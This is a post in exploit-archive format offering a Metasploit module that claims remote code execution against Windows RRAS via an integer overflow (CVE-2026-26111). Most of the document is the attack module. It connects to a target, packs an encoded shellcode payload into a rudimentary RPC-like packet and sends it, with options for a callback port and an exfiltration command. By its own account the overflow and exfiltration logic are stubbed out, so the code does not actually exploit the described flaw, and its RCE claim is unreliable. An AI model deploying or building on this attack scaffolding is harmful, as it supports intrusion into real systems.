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| # Title     : Windows RRAS Integer Overflow                                                                        |
| # Author    : indoushka                                                                                            |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                     |
| # Vendor    : https://microsoft.com                                                                                |
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[+] Summary    : This Metasploit module simulates a remote exploitation attempt against a hypothetical integer overflow vulnerability in Windows RRAS, 
                 which could lead to a heap-based overflow and potential remote code execution. 
                 The module establishes a TCP connection to the target, constructs a simplified RPC-like packet containing encoded payload data, and sends it to the service. 
				 It includes configurable options such as target host, port, callback port, and an optional command parameter for payload execution context.
                 The exploit logic is intentionally simplified, with removed unsafe or broken decoder and overflow mechanisms. Additional features like exfiltration handling are stubbed out for safety and stability. 
				 The module also includes a basic connectivity check stub and uses standard Metasploit payload handling (payload.encoded) to generate shellcode.
[+] POC   :  

##
# This module requires Metasploit: https://metasploit.com/download
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = Msf::Exploit::Rank::Great

  include Msf::Exploit::Remote::Tcp
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Windows RRAS Integer Overflow RCE (CVE-2026-26111)',
      'Description'    => %q{
        This module simulates exploitation of an integer overflow in RRAS leading to heap overflow.
      },
      'License'        => MSF_LICENSE,
      'Author'         => [
        'indoushka'
      ],
      'References'     => [
        ['CVE', '2026-26111'],
        ['MSKB', 'KB5084597']
      ],
      'Platform'       => 'win',
      'Targets'        => [
        [ 'Windows 11 x64', { 'Arch' => ARCH_X64 } ]
      ],
      'DefaultOptions' => {
        'RPORT'    => 4444,
        'WfsDelay' => 30
      },
      'Payload' => {
        'Space'    => 4096,
        'BadChars' => "\x00"
      },
      'DefaultTarget'  => 0,
      'DisclosureDate' => '2026-03-22'
    ))

    register_options([
      Opt::RHOST(),
      OptPort.new('CALLBACK_PORT', [true, 'Callback port', 4445]),
      OptString.new('EXFIL_CMD', [true, 'Command', 'whoami'])
    ])
  end

  def generate_payload
    payload.encoded
  end

  def build_packet(shellcode)
    pkt  = "\x05\x00"
    pkt << "\x0b"
    pkt << "\x00\x00\x00\x00"
    pkt << [shellcode.length].pack('V')
    pkt << shellcode

    pkt
  end

  def exploit
    print_status("Connecting to target #{rhost}:#{rport}...")

    connect

    shellcode = generate_payload
    packet    = build_packet(shellcode)

    print_status("Sending payload (#{packet.length} bytes)...")
    sock.put(packet)

    handler
    disconnect
  end

  def start_exfiltration_server
    print_status("Exfiltration feature disabled in corrected version (logic stub).")
  end

  def check
    print_status("Basic check not implemented (safe stub).")
    Exploit::CheckCode::Unknown
  end
end

Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
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